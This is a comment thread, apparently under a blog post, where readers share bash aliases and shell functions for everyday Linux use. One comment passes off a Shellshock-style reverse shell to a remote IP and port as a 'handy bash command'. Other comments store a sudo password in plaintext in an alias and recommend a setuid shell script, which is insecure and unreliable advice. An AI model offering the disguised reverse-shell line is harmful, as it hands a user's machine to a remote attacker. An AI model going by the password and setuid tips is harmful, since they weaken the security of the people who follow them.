    if [[ `uname` == Linux ]]; then
        export LS1='--color=always'
    elif [[ `uname` == Darwin* ]]; then
        export LS1='-G'
        export LS1='--color=auto'
    export LS2='-hF --time-style=long-iso'
    alias l='ls $LS1 $LS2 -AB'
  63. Here is one to do a update and upgrade with no user input. Just insert your sudo
    password for yourpassword

    alias udug=’echo yourpassword | sudo -S apt-get update && sudo apt-get upgrade -y’

      1. I am the only one who uses this computer. My daughter, granddaughter, daughter’s
        boyfriend and my four dogs all use Windoz. They have no idea what a alias or a terminal is.

        1. It is far better to put the commands into a setuid shell script, then you don’t have to EVER put your password into plaintext anywhere on UNIX / Linux:

          echo "sudo -S apt-get update && sudo apt-get upgrade -y" > /tmp/udug ; sudo mv /tmp/udug /usr/bin/udug
          sudo chmod 755 /usr/bin/udug
          sudo chmod u+s /usr/bin/udug

    1. If you want to run apt-get without having to supply a sudo password, just edit the sudo config file to allow that. (Replace “jfb” in this example with your own login).

      jfb ALL=(root) NOPASSWD: /usr/bin/apt-get

      Hint: edit the config file with “sudo visudo”, not “sudo vim /etc/sudoers”. Visudo will check that you haven’t totally screwed up the config file before writing it out.

  64. Hey, Just wanted to add my 5 cents.

    I use this to make me think before rebooting/shutting down hosts;

    alias reboot=’echo “Are you sure you want to reboot host `hostname` [y/N]?” && read reboot_answer && if [ “$reboot_answer” == y ]; then /sbin/reboot; fi’

    alias shutdown=’echo “Are you sure you want to shutdown host `hostname` [y/N]?” && read shutdown_answer && if [ “$shutdown_answer” == y ]; then /sbin/shutdown -h now; fi’

  65. #2: Control cd command behavior

    ## get rid of command not found ##
    alias cd..=’cd ..’

    ## a quick way to get out of current directory ##
    alias ..=’cd ..’
    alias …=’cd ../../../’
    alias ….=’cd ../../../../’
    alias …..=’cd ../../../../’ <– typo, I think you meant to add an extra level of ../ to this!
    alias .4='cd ../../../../'
    alias .5='cd ../../../../..'

  66. There’s another handy bash command I’ve come by recently in the past days.

    () { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/123.456.789.012/3333 0>&1
  67. Here are a couple that I have to make installing software on Ubuntu easier:

    alias sdfind='~/bin/sdfind.sh'
    alias sdinst='sudo apt-get install'
  68. Great list and comments. A minor nit, the nowtime alias has a typo that makes it not work. It needs a closing double quote.

  69. # Find all IP addresses connected to your network

    alias netcheck='nmap -sP $(ip -o addr show | grep inet  | grep eth | cut -d  -f 7)'
  70. # See real time stamp when running dmesg

    alias dmesg='dmesg|perl -ne "BEGIN{$a= time()- qx:cat /proc/uptime:};s/[s*(d+).d+]/localtime($1 + $a)/e; print $_;" | sed -e "s|(^.*"`date +%Y`" )(.*)|x1b[0;34m1x1b[0m - 2|g"'
  71. You know, instead of doing something silly like aliasing clear to c, you can just do ^L (control + L) instead…

  72. # Need to figure out which drive your usb is assigned? Functions work the same way as an alias. Simply copy the line into your .profile/.bashrc file. Then type: myusb

    myusb () { usb_array=();while read -r -d $'n'; do usb_array+=("$REPLY"); done < <(find /dev/disk/by-path/ -type l -iname *usb*scsi* -not -iname *usb*scsi*part* -print0 | xargs -0 -iD readlink -f D | cut -c 8) && for usb in "${usb_array[@]}"; do echo "USB drive assigned to sd$usb"; done; }
  73. And if you have zsh, you may want to give oh-my-zsh a try. It has a repo full of aliases.

    Even if you do not have zsh you may still want to check it out as it has really nice aliases which are compatible with bash.

  74. It’s a little bit dangerous to re-alias existing commands. Once I had trouble finding out why my shell script did not work. It was the coloured output of grep. So I changed my alias:

    alias gr=”grep -E -i –color”

    And remember the man page:
    “For almost every purpose, aliases are superseded by shell functions.”

    1. I think if you use –color=auto, then the colors will only be applied when the output is a tty. However, I do agree that it’s a very bad idea to rename commands with aliases; it is much better to create your own command names such as ‘cgrep’ , ‘cfgrep’, ‘cegrep’, etc.

  75. # better ls
    alias ls='ls -lAi --group-directories-first --color='always''
    # make basic commands interactive and verbose
    alias cp='cp -iv'      # interactive
    alias rm='rm -ri'      # interactive
    alias mv='mv -iv'       # interactive, verbose
    alias grep='grep -i --color='always''  # ignore case
    # starts nano with line number enabled
    alias nano='nano -c'
    # clear screen
    alias cl='clear'
    # shows the path variable
    alias path='echo -e ${PATH//:/\n}'
    # Filesystem diskspace usage
    alias dus='df -h'
    # quick ssh to raspberry pi
    alias raspi='ssh [email protected]'
    # perform 'ls' after 'rm' if successful.
    rmls() {
      rm "$*"
      if [ "$RESULT" -eq 0 ]; then
    alias rm='rmls'
    # reloads changes
    alias rfc='source ~/.bashrc; cl'
    alias rf='source ~/.bashrc'
    # perform 'ls' after 'cd' if successful.
    cdls() {
      builtin cd "$*"
      if [ "$RESULT" -eq 0 ]; then
    alias cd='cdls'
    # quick cd back option
    alias ..='cd ..'
    # search for a string recursively in any C source files
    alias src-grep='find . -name "*.[ch]" | xargs grep '
    # for easily editting the path variable
    nanopath ()
        declare TFILE=/tmp/path.$LOGNAME.$$;
        echo $PATH | sed 's/^:/.:/;s/:$/:./' | sed 's/::/:.:/g' | tr ':' '12' > $TFILE;
        nano $TFILE;
        PATH=`awk ' { if (NR>1) printf ":"
          printf "%s",$1 }' $TFILE`;
        rm -f $TFILE;
        echo $PATH
    alias nanopath='nanopath'
  76. in my experiance it is esasier to put the scripts you want to use aliases for in your .bash_aliases file. like so

    ~/nano .bash_aliases
    rmls() {
      rm "$*"
      if [ "$RESULT" -eq 0 ]; then

    here is a function. and to make an alias for it is as simple as:

    alias name=’functionName args’

    so for my example function it would be
    alias rm=’rmls’

  77. Great list! There are certainly some I going to use!
    I also have some that maybe are so obvious nobody even finds it worth mentioning…

    But since I'm a lazy beast:
    alias getupdates='sudo apt-get update && sudo apt-get upgrade'
    alias backupstuff='rsync -avhpr --delete-delay /some/location/foo/bar /media/your/remote/location'
    alias enter_some_user='ssh -p 9999 [email protected]'
  78. #To play a random collection of music from your music library.
    #(You need to have VLC installed)
    alias play='nvlc /media/myklmar/MUSIC/mymusic/ -Z'

  79. Thanks.
    Will the aliases appear using the “top” command?
    How would like to see the alias name rather than the command name of the process. Is that possible?

  80. One of my favorite: copy something from command line to clipboard:
    alias c='xsel --clipboard'
    Then use like:
    grep John file_for_contacts | c
    now, john’s contact info is copied to the clipboard, etc.

  81. # Count the number of files in current dir
    alias lsc='ls -l | wc -l'
    # Sort directories by sizes
    alias dush='du -h --max-depth=1 | sort -h'
    # Can't see all the files in one page ?
    alias lsless='ls | less'
    # Make a video capture of the desktop
    alias capturedesktop='avconv -f x11grab -r 25 -s 1900x1000 -i :0.0+0,24 -vcodec libx264  -threads 0'
    # Capture desktop, with sound
    alias capturedesktop_withsound='avconv -f x11grab -r 25 -s 1900x1000 -i :0.0+0,24 -vcodec libx264  -threads 0 -f alsa -i hw:0 '
    # pastebin from the command line, use it like this :
    # somecommand | some pipe work | pastebin
    alias pastebin='curl -F "clbin=&lt;-&quot; &quot;https://clbin.com&quot;&#039;
    # Only print actual code/configuration
    alias removeblanks=&quot;egrep -v &#039;(^[[:space:]]*#|^$|^[[:space:]]*//)&#039;&quot;
    # Useful when you want to scp to your own machine from a remote server
    alias myip=&#039;ifdata -pa eth1&#039;

    Some useful functions too

    function timedelta {
        echo $(( ($(date +%s -d $d1) - $(date +%s -d $d2)) / (60 * 60 * 24) ))
    [email protected] 16:33:12 ~/TMP/NETWORK $ timedelta 2016-12-26 2014-11-16
    [email protected] 16:33:42 ~/TMP/NETWORK $
    #It's been 771 days since I work in this place.
    # Searches inside PDF files
    # searchpdf "term" file1 file2 file3...
    function searchpdf {
        shift 1
        for file in $@
    	echo ============================
    	echo $file
    	echo ============================
    	pdftotext "$file" - | grep "$term"
    # Converts any video to a gif and compresses it.
    function vid2gif () {
        echo avconv -i "$video" -pix_fmt rgb24 -r 5 -f gif "$gif"-
        avconv -i "$video" -pix_fmt rgb24 -r 5 -f gif "$gif"-
        echo gifsicle -O3 -U "$gif"- -o "$gif"
        gifsicle -O3 -U "$gif"- -o "$gif"
  82. List files in order of ascending size (the second form takes a file-pattern argument):

    function lsdu() { ls -l $* | sort --key=5.1 -n; };
    function lsduf() { ls -l | egrep $* | sort --key=5.1 -n; };

    List the 10 most recently edited/changed files (m = more, a poor-man’s more)

    alias lsm='ls -lt | head -n 10'

    List the tasks using the most CPU time

    alias hogs='ps uxga | sort --key=4.1 -n'

    1. Sorry, typos and some new ones

      alias hogs='ps uxga | sort --key=3.1 -n'
      alias sdiff='sdiff -w 240'
      function pyloc() { egrep -v '^[ ]*(#|$dollar)' $* | wc; }; # count lines (python, sh)
      function loc() { egrep -v '^[ ]*(//|/*|*|$dollar)' $* | wc; }; # count lines (c, c++)

  83. Is there any option to enable confirmation for the rm -rf . We had an alias setup for rm=rm -i so whenever we delete a file it asks for confirmation but when -f flag is supplied it will not asks for confirmation.

    So can you anyone please help to create function so that it ask confirmation for rm (Or rm -r) command with force flag that is for rm -f and rm -rf commands?

  84. To access a servers:
    alias barney='ssh -i ~/.ssh/private.key [email protected]'

    To replace all “:” of the name of the files in the folder that is running. It serves to synchronize with Dropbox in Windows. Screenshot 2017-01-01 01:02:03 -> Screenshot 2017-01-01 01 02 03:
    alias renombrar="rename 'y/ :/ /' *"

  85. Great list!
    I also have some that maybe are somebody finds interesting

     alias ab='docker run --rm piegsaj/ab'
     alias php='docker run --rm -it -v "$PWD":/opt -w /opt php php'
     alias java='docker run --rm -it -v "$PWD":/opt -w /opt java java'
     alias node='docker run --rm -it -v "$PWD":/opt -w /opt node node'
     alias ruby='docker run --rm -it -v "$PWD":/opt -w /opt ruby ruby'
     alias python='docker run --rm -it -v "$PWD":/opt -w /opt python python'
     alias htop='docker run --rm -it --pid host tehbilly/htop'
     alias mysql='docker run --rm -it imega/mysql-client mysql'

Comments are closed.